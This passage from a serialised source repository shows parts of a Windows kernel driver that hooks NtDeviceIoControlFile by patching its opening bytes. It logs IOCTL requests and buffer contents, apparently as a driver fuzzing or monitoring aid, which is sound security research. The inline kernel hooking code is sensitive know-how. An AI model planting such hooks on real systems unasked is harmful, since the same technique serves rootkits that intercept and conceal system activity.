Process, &ImagePath, ProcessId);\n\n swprintf(wcProcess, L\"'%wZ' (\" IFMT_W L\")\", &ImagePath, Process);\n RtlInitUnicodeString(&usProcess, wcProcess); \n\n \n Info.Process = Process;\n Info.ProcessId = ProcessId;\n\n Info.usImagePath.Buffer = ImagePath.Buffer;\n Info.usImagePath.Length = ImagePath.Length;\n Info.usImagePath.MaximumLength = ImagePath.MaximumLength;\n\n // add process information into the list\n if (LstAddEntry(m_ProcessesList, &usProcess, &Info, sizeof(Info)) == NULL)\n {\n RtlFreeUnicodeString(&ImagePath);\n } \n } \n }\n else\n {\n\t\t\t\tPCOMMON_LST_ENTRY process_entry = NULL;\n LogData(\"Process \"IFMT\" terminated\\r\\n\\r\\n\", Process);\n\n // process terminating\n process_entry = LookupProcessInfo(Process); \n if (process_entry)\n {\n if (process_entry->Data && \n process_entry->DataSize == sizeof(LST_PROCESS_INFO))\n { \n PLST_PROCESS_INFO Info = (PLST_PROCESS_INFO)process_entry->Data;\n if (Info->usImagePath.Buffer)\n {\n // free process image path\n RtlFreeUnicodeString(&Info->usImagePath);\n }\n }\n\n // delete information about this process from list\n LstDelEntry(m_ProcessesList, process_entry);\n }\n }\n }\n __finally\n {\n KeReleaseMutex(&m_CommonMutex, FALSE);\n } \n \n ObDereferenceObject(Process);\n } \n else \n {\n DbgMsg(__FILE__, __LINE__, \"PsLookupProcessByProcessId() fails; status: 0x%.8x\\n\", ns);\n }\n}\n//--------------------------------------------------------------------------------------\nPUNICODE_STRING LookupProcessName(PEPROCESS TargetProcess)\n{\n PEPROCESS Process = TargetProcess;\n\tPCOMMON_LST_ENTRY process_entry = NULL;\n\tHANDLE ProcessId = NULL;\n\tUNICODE_STRING ImagePath;\n PUNICODE_STRING Ret = NULL;\n\n if (Process == NULL)\n {\n // lookup current process information entry\n Process = PsGetCurrentProcess();\n }\n \n process_entry = LookupProcessInfo(Process);\n if (process_entry)\n {\n if (process_entry->Data && \n process_entry->DataSize == sizeof(LST_PROCESS_INFO))\n { \n PLST_PROCESS_INFO Info = (PLST_PROCESS_INFO)process_entry->Data;\n if (Info->usImagePath.Buffer)\n {\n // return process image path\n return &Info->usImagePath;\n }\n }\n\n return NULL;\n }\n\n // information entry for current process is not found, allocate it\n ProcessId = PsGetCurrentProcessId();\n \n\n // get full image path for this process\n if (GetProcessFullImagePath(Process, &ImagePath))\n {\n WCHAR wcProcess[0x200];\n UNICODE_STRING usProcess;\n\t\tLST_PROCESS_INFO Info;\n\n swprintf(wcProcess, L\"'%wZ' (\" IFMT_W L\")\", &ImagePath, Process);\n RtlInitUnicodeString(&usProcess, wcProcess);\n\n \n Info.Process = Process;\n Info.ProcessId = ProcessId;\n\n Info.usImagePath.Buffer = ImagePath.Buffer;\n Info.usImagePath.Length = ImagePath.Length;\n Info.usImagePath.MaximumLength = ImagePath.MaximumLength;\n\n // add process information into the list\n if (process_entry = LstAddEntry(m_ProcessesList, &usProcess, &Info, sizeof(Info)))\n {\n PLST_PROCESS_INFO pInfo = (PLST_PROCESS_INFO)process_entry->Data;\n Ret = &pInfo->usImagePath;\n }\n else\n {\n RtlFreeUnicodeString(&ImagePath);\n } \n }\n\n return Ret;\n}\n//--------------------------------------------------------------------------------------\nBOOLEAN ValidateUnicodeString(PUNICODE_STRING usStr)\n{\n\tULONG i = 0;\n if (!MmIsAddressValid(usStr))\n {\n return FALSE;\n }\n\n if (usStr->Buffer == NULL || usStr->Length == 0)\n {\n return FALSE;\n }\n\n for (i = 0; i < usStr->Length; i++)\n {\n if (!MmIsAddressValid((PUCHAR)usStr->Buffer + i))\n {\n return FALSE;\n }\n }\n\n return TRUE;\n}\n\n\n//--------------------------------------------------------------------------------------\nNTSTATUS NTAPI new_NtDeviceIoControlFile(\n HANDLE FileHandle,\n HANDLE Event,\n PIO_APC_ROUTINE ApcRoutine,\n PVOID ApcContext,\n PIO_STATUS_BLOCK IoStatusBlock,\n ULONG IoControlCode,\n PVOID InputBuffer,\n ULONG InputBufferLength,\n PVOID OutputBuffer,\n ULONG OutputBufferLength)\n{ \n KPROCESSOR_MODE PrevMode = ExGetPreviousMode();\n BOOLEAN bLogOutputBuffer = FALSE;\n\tNTSTATUS status = STATUS_UNSUCCESSFUL;\n\n POBJECT_NAME_INFORMATION DeviceObjectName = NULL, DriverObjectName = NULL; \n PFILE_OBJECT pFileObject = NULL;\n NTSTATUS ns = 0;\n\n BOOLEAN bProcessEvent = FALSE;\n\n LARGE_INTEGER Timeout;\n\n PVOID pDeviceObject = NULL;\n PLDR_DATA_TABLE_ENTRY pModuleEntry = NULL;\n\n PEPROCESS Process;\n HANDLE ProcessId;\n\n _InterlockedIncrement(&g_newDeviceIoControlFileCallCount);\n // get device object by handle\n ns = ObReferenceObjectByHandle(\n FileHandle, \n 0, 0, \n KernelMode, \n (PVOID *)&pFileObject, \n NULL\n );\n if(!NT_SUCCESS(ns))\n goto end;\n\n // validate pointer to device object\n if (MmIsAddressValid(pFileObject->DeviceObject))\n {\n pDeviceObject = pFileObject->DeviceObject;\n }\n else\n {\n goto end;\n }\n\n if (pDeviceObject == m_DeviceObject)\n {\n // don't handle requests to our driver\n goto end;\n }\n\n // validate pointer to driver object\n if (!MmIsAddressValid(pFileObject->DeviceObject->DriverObject))\n {\n goto end;\n }\n\n // get loader information entry for the driver module\n pModuleEntry = (PLDR_DATA_TABLE_ENTRY)\n pFileObject->DeviceObject->DriverObject->DriverSection;\n\n if (pModuleEntry == NULL)\n {\n goto end;\n }\n\n // validate pointer to loader's table and data from it\n if (!MmIsAddressValid(pModuleEntry) ||\n !ValidateUnicodeString(&pModuleEntry->FullDllName))\n {\n goto end;\n }\n\n // get device name by poinet\n DeviceObjectName = GetObjectName(pDeviceObject);\n if(!DeviceObjectName)\n goto end;\n\n DriverObjectName = GetObjectName(pFileObject->DeviceObject->DriverObject);\n if(!DriverObjectName)\n goto end;\n\n Process = PsGetCurrentProcess();\n ProcessId = PsGetCurrentProcessId();\n\n Timeout.QuadPart = RELATIVE(SECONDS(5));\n ns = KeWaitForMutexObject(&m_CommonMutex, Executive, KernelMode, FALSE, &Timeout);\n if (ns == STATUS_TIMEOUT)\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"(): Wait timeout\\n\");\n goto end;\n }\n\n __try\n {\n PWSTR Methods[] = \n {\n L\"METHOD_BUFFERED\",\n L\"METHOD_IN_DIRECT\",\n L\"METHOD_OUT_DIRECT\",\n L\"METHOD_NEITHER\"\n };\n\n PWSTR lpwcMethod = Methods[IoControlCode & 3];\n\n\n char *lpszKdCommand = NULL;\n\n LARGE_INTEGER Time;\n\n // get process image path\n PUNICODE_STRING ProcessImagePath = LookupProcessName(NULL); \n if(!ProcessImagePath)\n __leave;\n \n KeQuerySystemTime(&Time);\n\n // get text name of the method\n currentDeviceObject = pFileObject->DeviceObject;\n currentDriverObject = pFileObject->DeviceObject->DriverObject;\n currentIoControlCode = IoControlCode;\n currentInputBuffer = InputBuffer;\n currentInputBufferLength = InputBufferLength;\n currentOutputBuffer = OutputBuffer;\n currentOutputBufferLength = OutputBufferLength;\n\n// if (m_FuzzOptions & FUZZ_OPT_LOG_IOCTL_GLOBAL)\n// {\n// // log IOCTL information into the global log\n// LogDataIoctls(\"timestamp=0x%.8x%.8x\\r\\n\", Time.HighPart, Time.LowPart);\n// LogDataIoctls(\"process_id=%d\\r\\n\", ProcessId);\n// LogDataIoctls(\"process_path=%wZ\\r\\n\", ProcessImagePath);\n// LogDataIoctls(\"device=%wZ\\r\\n\", &DeviceObjectName->Name);\n// LogDataIoctls(\"driver=%wZ\\r\\n\", &DriverObjectName->Name);\n// LogDataIoctls(\"image_file=%wZ\\r\\n\", &pModuleEntry->FullDllName);\n// LogDataIoctls(\"code=0x%.8x\\r\\n\", IoControlCode);\n// LogDataIoctls(\"method=%ws\\r\\n\", lpwcMethod);\n// LogDataIoctls(\"in_size=%d\\r\\n\", InputBufferLength);\n// LogDataIoctls(\"out_size=%d\\r\\n\", OutputBufferLength);\n// LogDataIoctls(\"\\r\\n\");\n// }\n\n // get debugger command, that can be associated with this IOCTL\n lpszKdCommand = FltGetKdCommand(\n &DeviceObjectName->Name,\n &DriverObjectName->Name/*pModuleEntry->FullDllName*/,\n IoControlCode,\n ProcessImagePath\n );\n\n bProcessEvent = FltIsMatchedRequest(\n &DeviceObjectName->Name,\n &pModuleEntry->FullDllName,\n IoControlCode,\n ProcessImagePath\n );\n\n if ((bProcessEvent || lpszKdCommand) &&\n (m_FuzzOptions & FUZZ_OPT_LOG_IOCTL))\n {\n LogDataIoctls(\n \"timestamp=0x%.8x%.8x\\r\\n \\\n process_id=%d\\r\\n \\\n process_path=%wZ\\r\\n \\\n device=%wZ\\r\\n \\\n driver=%wZ\\r\\n \\\n image_file=%wZ\\r\\n \\\n code=0x%.8x\\r\\n \\\n method=%ws\\r\\n \\\n in_size=%d\\r\\n \\\n out_size=%d\\r\\n \\\n \\r\\n\",\n Time.HighPart, Time.LowPart,\n ProcessId,\n ProcessImagePath,\n &DeviceObjectName->Name,\n &DriverObjectName->Name,\n &pModuleEntry->FullDllName,\n IoControlCode,\n lpwcMethod,\n InputBufferLength,\n OutputBufferLength);\n\n if (m_FuzzOptions & FUZZ_OPT_LOG_IOCTL_BUFFERS)\n {\n // log output buffer information\n LogDataIoctls(\" OutBuff: \"IFMT\", OutSize: 0x%.8x\\r\\n\",\n OutputBuffer,\n OutputBufferLength);\n\n // log input buffer information\n LogDataIoctls(\" InBuff: \"IFMT\", InSize: 0x%.8x\\r\\n\",\n InputBuffer,\n InputBufferLength);\n\n // print input buffer contents\n LogDataIoctls(\"--------------------------------------------------------------------\\r\\n\");\n LogDataHexdump((PUCHAR)InputBuffer, min(InputBufferLength, MAX_IOCTL_BUFFER_LEGTH));\n LogDataIoctls(\"\\r\\n\");\n }\n } \n }\n __finally\n {\n KeReleaseMutex(&m_CommonMutex, FALSE);\n }\nend: \n if(pFileObject)\n ObDereferenceObject(pFileObject);\n\n if(DriverObjectName)\n ExFreePool(DriverObjectName);\n\n if(DeviceObjectName)\n ExFreePool(DeviceObjectName);\n\n // restore KTHREAD::PreviousMode\n SetPreviousMode(PrevMode); \n // call original function\n status = old_NtDeviceIoControlFile(\n FileHandle, \n Event, \n ApcRoutine, \n ApcContext, \n IoStatusBlock, \n IoControlCode, \n InputBuffer, \n InputBufferLength, \n OutputBuffer, \n OutputBufferLength\n ); \n\n _InterlockedDecrement( &g_newDeviceIoControlFileCallCount );\n\n return status;\n}\n\nVOID WaitHookRemoveComplete()\n{\n LONG Count = 0;\n const LARGE_INTEGER WaitTime = {(ULONG)(-50 * 1000 * 10), -1};\n\n do\n {\n KeDelayExecutionThread( KernelMode , FALSE , (PLARGE_INTEGER)&WaitTime );\n _InterlockedExchange( &Count , g_newDeviceIoControlFileCallCount );\n } while (Count != 0 );\n\n return;\n}\n//--------------------------------------------------------------------------------------\n// EoF\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/handlers.h", "content": "\ntypedef struct _LST_PROCESS_INFO\n{\n PEPROCESS Process;\n HANDLE ProcessId;\n UNICODE_STRING usImagePath;\n\n} LST_PROCESS_INFO,\n*PLST_PROCESS_INFO;\n\nvoid FreeProcessInfo(void);\nvoid NTAPI ProcessNotifyRoutine(HANDLE ParentId, HANDLE ProcessId, BOOLEAN Create);\nPUNICODE_STRING LookupProcessName(PEPROCESS TargetProcess);\n\ntypedef NTSTATUS (NTAPI * NT_DEVICE_IO_CONTROL_FILE)(\n HANDLE FileHandle,\n HANDLE Event,\n PIO_APC_ROUTINE ApcRoutine,\n PVOID ApcContext,\n PIO_STATUS_BLOCK IoStatusBlock,\n ULONG IoControlCode,\n PVOID InputBuffer,\n ULONG InputBufferLength,\n PVOID OutputBuffer,\n ULONG OutputBufferLength\n);\n\nNTSTATUS NTAPI new_NtDeviceIoControlFile(\n HANDLE FileHandle,\n HANDLE Event,\n PIO_APC_ROUTINE ApcRoutine,\n PVOID ApcContext,\n PIO_STATUS_BLOCK IoStatusBlock,\n ULONG IoControlCode,\n PVOID InputBuffer,\n ULONG InputBufferLength,\n PVOID OutputBuffer,\n ULONG OutputBufferLength\n);\n\nBOOLEAN ValidateUnicodeString(PUNICODE_STRING usStr);\n\nVOID WaitHookRemoveComplete();" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/hook.c", "content": "#include \"stdafx.h\"\n//--------------------------------------------------------------------------------------\nPVOID Hook(PVOID Function, PVOID Handler, PULONG pBytesPatched)\n{ \n#ifdef _X86_\n\n#define SIZEOFJUMP 6\n\n#elif _AMD64_\n\n#define SIZEOFJUMP 14\n\n#endif\n\n ULONG Size = 0, CollectedSpace = 0;\n PUCHAR pInst = (PUCHAR)Function;\n ud_t ud_obj;\n\tPVOID CallGate = NULL;\n\tULONG CallGateSize = 0;\n\n if (pBytesPatched)\n {\n *pBytesPatched = 0;\n }\n\n // initialize disassembler engine\n \n ud_init(&ud_obj);\n\n // set mode, syntax and vendor\n ud_set_mode(&ud_obj, UD_MODE);\n ud_set_syntax(&ud_obj, UD_SYN_INTEL);\n ud_set_vendor(&ud_obj, UD_VENDOR_INTEL);\n\n while (CollectedSpace < SIZEOFJUMP)\n {\n\t\tULONG dwInstLen = 0;\n\t\tint i = 0;\n ud_set_input_buffer(&ud_obj, pInst, MAX_INST_LEN);\n\n // get length of instruction\n dwInstLen = ud_disassemble(&ud_obj);\n if (dwInstLen == 0)\n {\n // error while disassembling instruction\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"() ERROR: Can't disassemble instruction at \"IFMT\"\\n\", pInst);\n return NULL;\n }\n\n if (ud_obj.mnemonic == UD_Ijmp ||\n ud_obj.mnemonic == UD_Icall)\n {\n // call/jmp with relative address\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"() call/jmp/jxx instruction at \"IFMT\"\\n\", pInst);\n return NULL;\n }\n\n for (i = 0; i < 3; i++)\n {\n if (ud_obj.operand[i].type == UD_OP_JIMM)\n {\n // jxx with relative address\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"() jxx instruction at \"IFMT\"\\n\", pInst);\n return NULL;\n }\n }\n\n pInst += dwInstLen;\n CollectedSpace += dwInstLen;\n\n if (ud_obj.mnemonic == UD_Iret ||\n ud_obj.mnemonic == UD_Iretf ||\n ud_obj.mnemonic == UD_Iiretw ||\n ud_obj.mnemonic == UD_Iiretq ||\n ud_obj.mnemonic == UD_Iiretd)\n {\n // end of the function thunk?\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"() ret/retn/iret instruction at \"IFMT\"\\n\", pInst);\n break;\n }\n }\n\n if (SIZEOFJUMP > CollectedSpace)\n {\n DbgMsg(__FILE__, __LINE__, __FUNCTION__\"() ERROR: not enough memory for jump\\n\");\n return NULL;\n }\n\n CallGateSize = CollectedSpace + SIZEOFJUMP;\n\n // allocate memory for callgate\n CallGate = M_ALLOC(CallGateSize);\n if (CallGate)\n {\n // generate callgate\n memset(CallGate, 0x90, CallGateSize); \n\n // save begining of the function\n memcpy(CallGate, Function, CollectedSpace); \n \n#ifdef _X86_\n\n // jump from callgate to function body\n // push imm32\n *(PUCHAR)((PUCHAR)CallGate + CollectedSpace) = 0x68;\n *(PUCHAR *)((PUCHAR)CallGate + CollectedSpace + 1) = (PUCHAR)Function + SIZEOFJUMP;\n // ret\n *(PUCHAR)((PUCHAR)CallGate + CollectedSpace + 5) = 0xC3; \n\n#elif _AMD64_\n\n // jmp qword [addr]\n *(PUSHORT)((PUCHAR)CallGate + CollectedSpace) = 0x25FF;\n *(PULONG)((PUCHAR)CallGate + CollectedSpace + 2) = 0;\n // addr dq XXXh\n *(PULONGLONG)((PUCHAR)CallGate + CollectedSpace + 6) = (ULONGLONG)Function + SIZEOFJUMP;\n\n#endif\n \n // jump from the function to callgate\n memset(Function, 0x90, CollectedSpace); \n\n#ifdef _X86_\n\n // push imm32\n *(PUCHAR)Function = 0x68;\n *(PUCHAR *)((PUCHAR)Function + 1) = (PUCHAR)Handler;\n // ret\n *(PUCHAR)((PUCHAR)Function + 5) = 0xC3; \n\n#elif _AMD64_\n\n // jmp qword [addr]\n *(PUSHORT)Function = 0x25FF;\n *(PULONG)((PUCHAR)Function + 2) = 0;\n // addr dq XXXh\n *(PULONGLONG)((PUCHAR)Function + 6) = (ULONGLONG)Handler;\n\n#endif \n *pBytesPatched = CollectedSpace;\n\n return CallGate;\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"M_ALLOC() fails\\n\");\n }\n\n return NULL;\n}\n//--------------------------------------------------------------------------------------\n// EoF\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/hook.h", "content": "#ifdef _X86_\n\n#define MAX_INST_LEN 16\n#define UD_MODE 32\n\n#elif _AMD64_\n\n#define MAX_INST_LEN 24\n#define UD_MODE 64\n\n#endif\n\nPVOID Hook(PVOID Function, PVOID Handler, PULONG pBytesPatched);\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/log.c", "content": "#include \"stdafx.h\"\n\n// defined in handlers.cpp\nextern ULONG m_FuzzOptions;\n\n// defined in debug.cpp\nextern HANDLE hDbgPipe;\nextern KMUTEX DbgMutex;\n\n#define LOG_BUFF_SIZE 0x1000\n\nHANDLE m_hIoctlsLogFile = NULL;\n\nWCHAR m_wcIoctlsLogFilePath[MAX_REQUEST_STRING];\nUNICODE_STRING m_usIoctlsLogFilePath;\n//--------------------------------------------------------------------------------------\nvoid LogData(char *lpszFormat, ...)\n{\n IO_STATUS_BLOCK IoStatusBlock; \n va_list mylist;\n\n char *lpszBuff = (char *)M_ALLOC(LOG_BUFF_SIZE);\n if (lpszBuff == NULL)\n {\n DbgMsg(__FILE__, __LINE__, \"M_ALLOC() fails\\n\");\n return;\n }\n\n va_start(mylist, lpszFormat);\n vsprintf(lpszBuff, lpszFormat, mylist);\t\n va_end(mylist);\n\n if (m_FuzzOptions & FUZZ_OPT_LOG_DEBUG)\n {\n // post message into debug output\n DbgPrint(lpszBuff);\n }\n\n#ifdef DBGPIPE\n\n if (KeGetCurrentIrql() == PASSIVE_LEVEL)\n {\n KeWaitForMutexObject(&DbgMutex, Executive, KernelMode, FALSE, NULL);\n\n if (hDbgPipe)\n {\n // write debug message into pipe\n IO_STATUS_BLOCK IoStatusBlock;\n ULONG Len = (ULONG)strlen(lpszBuff) + 1;\n\n ZwWriteFile(hDbgPipe, 0, NULL, NULL, &IoStatusBlock, (PVOID)&Len, sizeof(Len), NULL, NULL);\n ZwWriteFile(hDbgPipe, 0, NULL, NULL, &IoStatusBlock, lpszBuff, Len, NULL, NULL);\n } \n\n KeReleaseMutex(&DbgMutex, FALSE);\n }\n\n#endif // DBGPIPE\n\n M_FREE(lpszBuff);\n}\n//--------------------------------------------------------------------------------------\nBOOLEAN LogDataIoctlsInitLogFile(void)\n{\n BOOLEAN bRet = FALSE;\n UNICODE_STRING usNtdllPath; \n OBJECT_ATTRIBUTES ObjAttr;\n HANDLE hNtdll = NULL;\n IO_STATUS_BLOCK StatusBlock;\n\n\tNTSTATUS ns = STATUS_UNSUCCESSFUL;\n\n RtlInitUnicodeString(&usNtdllPath, L\"\\\\SystemRoot\\\\system32\\\\ntdll.dll\");\n InitializeObjectAttributes(&ObjAttr, &usNtdllPath, OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE , NULL, NULL);\n\n // get file handle\n ns = ZwOpenFile(\n &hNtdll, \n FILE_READ_DATA | SYNCHRONIZE, \n &ObjAttr, \n &StatusBlock, \n FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, \n FILE_SYNCHRONOUS_IO_NONALERT\n );\n if (NT_SUCCESS(ns))\n {\n PFILE_OBJECT FileObject = NULL;\n\n // get file object by handle\n ns = ObReferenceObjectByHandle(hNtdll, 0, 0, KernelMode, (PVOID *)&FileObject, NULL);\n if (NT_SUCCESS(ns))\n {\n // get DOS path for file object\n POBJECT_NAME_INFORMATION ObjectNameInfo;\n ns = IoQueryFileDosDeviceName(FileObject, &ObjectNameInfo);\n if (NT_SUCCESS(ns))\n { \n size_t DosDriveLen = wcslen(L\"C:\\\\\");\n RtlZeroMemory(m_wcIoctlsLogFilePath, sizeof(m_wcIoctlsLogFilePath));\n\n // check for valid DOS path\n if (ObjectNameInfo &&\n ObjectNameInfo->Name.Length > (DosDriveLen * sizeof(WCHAR)) &&\n ObjectNameInfo->Name.Buffer[1] == L':' &&\n ObjectNameInfo->Name.Buffer[2] == L'\\\\')\n {\n UNICODE_STRING usXmlPath;\n wcscpy(m_wcIoctlsLogFilePath, L\"\\\\??\\\\\");\n wcsncat(m_wcIoctlsLogFilePath, ObjectNameInfo->Name.Buffer, DosDriveLen);\n wcscat(m_wcIoctlsLogFilePath, IOCTLS_LOG_NAME);\n \n RtlInitUnicodeString(&m_usIoctlsLogFilePath, m_wcIoctlsLogFilePath);\n InitializeObjectAttributes(&ObjAttr, &m_usIoctlsLogFilePath, \n OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE , NULL, NULL);\n\n // open IOCTLs log file\n ns = ZwCreateFile(\n &m_hIoctlsLogFile,\n FILE_ALL_ACCESS | SYNCHRONIZE,\n &ObjAttr,\n &StatusBlock,\n NULL,\n FILE_ATTRIBUTE_NORMAL,\n FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,\n FILE_OVERWRITE_IF,\n FILE_SYNCHRONOUS_IO_NONALERT,\n NULL, 0\n );\n if (NT_SUCCESS(ns))\n {\n DbgMsg(__FILE__, __LINE__, \"[+] IOCTLs log started: \\\"%wZ\\\"\\n\\n\", &m_usIoctlsLogFilePath);\n bRet = TRUE;\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"ZwCreateFile() fails; status: 0x%.8x\\n\", ns);\n }\n }\n } \n else\n {\n DbgMsg(__FILE__, __LINE__, \"IoQueryFileDosDeviceName() fails; status: 0x%.8x\\n\", ns); \n }\n\n ObDereferenceObject(FileObject);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"ObReferenceObjectByHandle() fails; status: 0x%.8x\\n\", ns); \n }\n\n ZwClose(hNtdll);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"ZwOpenFile() fails; status: 0x%.8x\\n\", ns);\n }\n\n return bRet;\n}\n//--------------------------------------------------------------------------------------\nvoid LogDataIoctls(char *lpszFormat, ...)\n{\n IO_STATUS_BLOCK IoStatusBlock;\n va_list mylist;\n\n char *lpszBuff = (char *)M_ALLOC(LOG_BUFF_SIZE);\n if (lpszBuff == NULL)\n {\n DbgMsg(__FILE__, __LINE__, \"M_ALLOC() fails\\n\");\n return;\n }\n\n if (KeGetCurrentIrql() > PASSIVE_LEVEL)\n {\n // IRQL is too high\n return;\n }\n\n if ((m_FuzzOptions & FUZZ_OPT_LOG_IOCTL_GLOBAL) && m_hIoctlsLogFile == NULL)\n {\n // log file is not initialized, try to create it\n if (!LogDataIoctlsInitLogFile())\n {\n // ... fails\n return;\n } \n }\n\n va_start(mylist, lpszFormat);\n vsprintf(lpszBuff, lpszFormat, mylist);\t\n va_end(mylist);\n\n // write string into the log file\n ZwWriteFile(m_hIoctlsLogFile, 0, NULL, NULL, &IoStatusBlock, lpszBuff, (ULONG)strlen(lpszBuff), NULL, NULL);\n\n M_FREE(lpszBuff);\n}\n//--------------------------------------------------------------------------------------\nvoid LogDataHexdump(PUCHAR Data, ULONG Size) \n{\n unsigned int dp = 0, p = 0;\n const char trans[] =\n \"................................ !\\\"#$%&'()*+,-./0123456789\"\n \":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\\\]^_`abcdefghijklm\"\n \"nopqrstuvwxyz{|}~....................................\"\n \".....................................................\"\n \"........................................\";\n\n char szBuff[0x100], szChr[10];\n RtlZeroMemory(szBuff, sizeof(szBuff));\n\n for (dp = 1; dp <= Size; dp++) \n {\n sprintf(szChr, \"%02x \", Data[dp-1]);\n strcat(szBuff, szChr);\n\n if ((dp % 8) == 0)\n {\n strcat(szBuff, \" \");\n }\n\n if ((dp % 16) == 0) \n {\n strcat(szBuff, \"| \");\n p = dp;\n\n for (dp -= 16; dp < p; dp++)\n {\n sprintf(szChr, \"%c\", trans[Data[dp]]);\n strcat(szBuff, szChr);\n }\n\n LogDataIoctls(\"%s\\r\\n\", szBuff);\n RtlZeroMemory(szBuff, sizeof(szBuff));\n }\n }\n\n if ((Size % 16) != 0) \n {\n p = dp = 16 - (Size % 16);\n\n for (dp = p; dp > 0; dp--) \n {\n strcat(szBuff, \" \");\n\n if (((dp % 8) == 0) && (p != 8))\n {\n strcat(szBuff, \" \");\n }\n }\n\n strcat(szBuff, \" | \");\n for (dp = (Size - (16 - p)); dp < Size; dp++)\n {\n sprintf(szChr, \"%c\", trans[Data[dp]]);\n strcat(szBuff, szChr);\n }\n\n LogDataIoctls(\"%s\\r\\n\", szBuff);\n }\n\n LogDataIoctls(\"\\r\\n\");\n}\n//--------------------------------------------------------------------------------------\n// EoF\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/log.h", "content": "\nvoid LogData(char *lpszFormat, ...);\nvoid LogDataIoctls(char *lpszFormat, ...);\nvoid LogDataHexdump(PUCHAR Data, ULONG Size);\n" }, { "path": "HookDeviceIocontrlFile/HookDeviceIoControlFileDrv/HookDeviceIoControlFile/lst.c", "content": "#include \"stdafx.h\"\n//--------------------------------------------------------------------------------------\nPCOMMON_LST_ENTRY LstFindEntry(\n PCOMMON_LST list, \n PUNICODE_STRING ObjectName)\n{\n PCOMMON_LST_ENTRY ret = NULL;\n KIRQL OldIrql;\n KeAcquireSpinLock(&list->ListLock, &OldIrql);\n\n __try\n {\n PCOMMON_LST_ENTRY e = list->list_head;\n\n while (e)\n {\n // for empty object name - just return first entry\n if (ObjectName == NULL ||\n RtlEqualUnicodeString(&e->ObjectName, ObjectName, TRUE))\n { \n ret = e;\n break;\n }\n\n e = e->next;\n }\n } \n __finally\n {\n KeReleaseSpinLock(&list->ListLock, OldIrql);\n }\n\n return ret;\n}\n//--------------------------------------------------------------------------------------\nPCOMMON_LST_ENTRY LstAddEntry(\n PCOMMON_LST list, \n PUNICODE_STRING ObjectName,\n PVOID Data,\n ULONG DataSize)\n{\n PCOMMON_LST_ENTRY ret = NULL;\n KIRQL OldIrql;\n KeAcquireSpinLock(&list->ListLock, &OldIrql);\n\n __try\n {\n // allocate single list entry\n PCOMMON_LST_ENTRY e = (PCOMMON_LST_ENTRY)M_ALLOC(sizeof(COMMON_LST_ENTRY));\n if (e)\n {\n RtlZeroMemory(e, sizeof(COMMON_LST_ENTRY));\n\n if (Data && DataSize > 0)\n {\n // allocate memory for custom data\n if (e->Data = M_ALLOC(DataSize))\n {\n e->DataSize = DataSize;\n RtlCopyMemory(e->Data, Data, DataSize);\n }\n else\n {\n DbgMsg(__FILE__, __LINE__, \"M_ALLOC() fails\\n\");\n M_FREE(e); \n return NULL;\n }\n }\n\n // allocate and copy string name\n if (AllocUnicodeString(&e->ObjectName, ObjectName->MaximumLength))\n {\n RtlCopyUnicodeString(&e->ObjectName, ObjectName);\n }\n else\n {\n if (e->Data)\n {\n M_FREE(e->Data);\n }\n\n M_FREE(e); \n return NULL;\n }\n\n // add it to list\n if (list->list_end)\n {\n list->list_end->next = e;\n e->prev = list->list_end;\n list->list_end = e;\n } \n else \n {\n list->list_end = list->list_head = e; \n }\n\n ret = e;\n } \n else\n {\n DbgMsg(__FILE__, __LINE__, \"M_ALLOC() fails\\n\");\n }\n } \n __finally\n {\n KeReleaseSpinLock(&list->ListLock, OldIrql);\n } \n\n return ret;\n}\n//--------------------------------------------------------------------------------------\nvoid LstFlush(PCOMMON_LST list)\n{\n KIRQL OldIrql;\n KeAcquireSpinLock(&list->ListLock, &OldIrql);\n\n __try\n {\n // delete all entries from list\n PCOMMON_LST_ENTRY e = list->list_head;\n while (e)\n {\n PCOMMON_LST_ENTRY e_tmp = e->next;\n\n // delete single entry from list\n if (e->prev)\n e->prev->next = e->next;\n\n if (e->next)\n e->next->prev = e->prev;\n\n if (list->list_head == e)\n list->list_head = e->next;\n\n if (list->list_end == e)\n list->list_end = e->prev;\n\n if (e->Data)\n {\n // delete data, if present\n M_FREE(e->Data);\n }\n\n // free name string\n RtlFreeUnicodeString(&e->ObjectName);\n M_FREE(e);\n\n e = e_tmp;\n } \n\n list->list_head = NULL;\n list->list_end = NULL;\n } \n __finally\n {\n KeReleaseSpinLock(&list->ListLock, OldIrql);\n } \n}\n//--------------------------------------------------------------------------------------\nvoid LstDelEntry(PCOMMON_LST list, PCOMMON_LST_ENTRY e)\n{\n KIRQL OldIrql;\n KeAcquireSpinLock(&list->ListLock, &OldIrql);\n\n __try\n {\n // delete single entry from list\n if (e->prev)\n e->prev->next = e->next;\n\n if (e->next)\n e->next->prev = e->prev;\n\n if (list->list_head == e)\n list->list_head = e->next;\n\n if (list->list_end == e)\n list->list_end = e->prev;\n\n if (e->Data)\n {\n // delete data, if present\n M_FREE(e->Data);\n }\n\n // free name string\n RtlFreeUnicodeString(&e->ObjectName);\n M_FREE(e);\n } \n __finally\n {\n KeReleaseSpinLock(&list->ListLock, OldIrql);\n } \n}\n//--------------------------------------------------------------------------------------\nPCOMMON_LST LstInit(void)\n{\n // allocate new list\n PCOMMON_LST ret = (PCOMMON_LST)M_ALLOC(sizeof(COMMON_LST));\n if (ret)\n {\n ret->list_head = ret->list_end = NULL;\n KeInitializeSpinLock(&ret->ListLock);\n return ret;\n }\n else\n {\n 